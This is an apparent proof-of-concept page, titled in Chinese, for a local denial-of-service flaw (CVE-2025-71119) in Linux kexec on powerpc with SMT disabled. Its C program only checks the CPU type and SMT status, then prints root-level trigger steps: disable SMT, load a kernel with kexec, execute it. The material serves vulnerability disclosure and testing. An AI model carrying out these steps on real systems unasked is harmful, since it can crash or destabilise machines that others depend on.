Linux kernel powerpc kexec本地拒绝服务漏洞（CVE-2025-71119）

// CVE-2025-71119 PoC - Local DoS via kexec on powerpc with SMT disabled // This PoC demonstrates the condition that triggers the vulnerability // Requirements: powerpc architecture, SMT disabled or partially enabled #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/reboot.h> int main() { printf("[*] CVE-2025-71119 Trigger PoC\n"); printf("[*] Target: Linux kernel powerpc kexec with SMT disabled\n\n"); // Check if running on powerpc FILE *cpuinfo = fopen("/proc/cpuinfo", "r"); if (!cpuinfo) { printf("[-] Cannot open /proc/cpuinfo\n"); return 1; } char line[256]; int is_powerpc = 0; while (fgets(line, sizeof(line), cpuinfo)) { if (strstr(line, "powerpc") || strstr(line, "ppc")) { is_powerpc = 1; break; } } fclose(cpuinfo); if (!is_powerpc) { printf("[-] Not running on PowerPC architecture\n"); printf("[-] This vulnerability only affects PowerPC systems\n"); return 1; } printf("[+] Running on PowerPC architecture\n"); // Check SMT status FILE *smt_file = fopen("/sys/devices/system/cpu/smt/active", "r"); if (smt_file) { char smt_status[8]; if (fgets(smt_status, sizeof(smt_status), smt_file)) { printf("[*] SMT status: %s", smt_status); } fclose(smt_file); } printf("\n[*] To trigger this vulnerability:\n"); printf(" 1. Disable SMT: echo off > /sys/devices/system/cpu/smt/control\n"); printf(" 2. Load new kernel: kexec -l /boot/vmlinuz-new --initrd=/boot/initrd.img-new\n"); printf(" 3. Trigger kexec: reboot or kexec -e\n"); printf(" 4. Observe warning in dmesg: 'kexec: Waking offline cpu XXX'\n\n"); printf("[*] Expected result: Kernel warning at arch/powerpc/kexec/core_64.c\n"); printf("[*] Impact: Local DoS - system instability or crash during kexec reboot\n"); return 0; }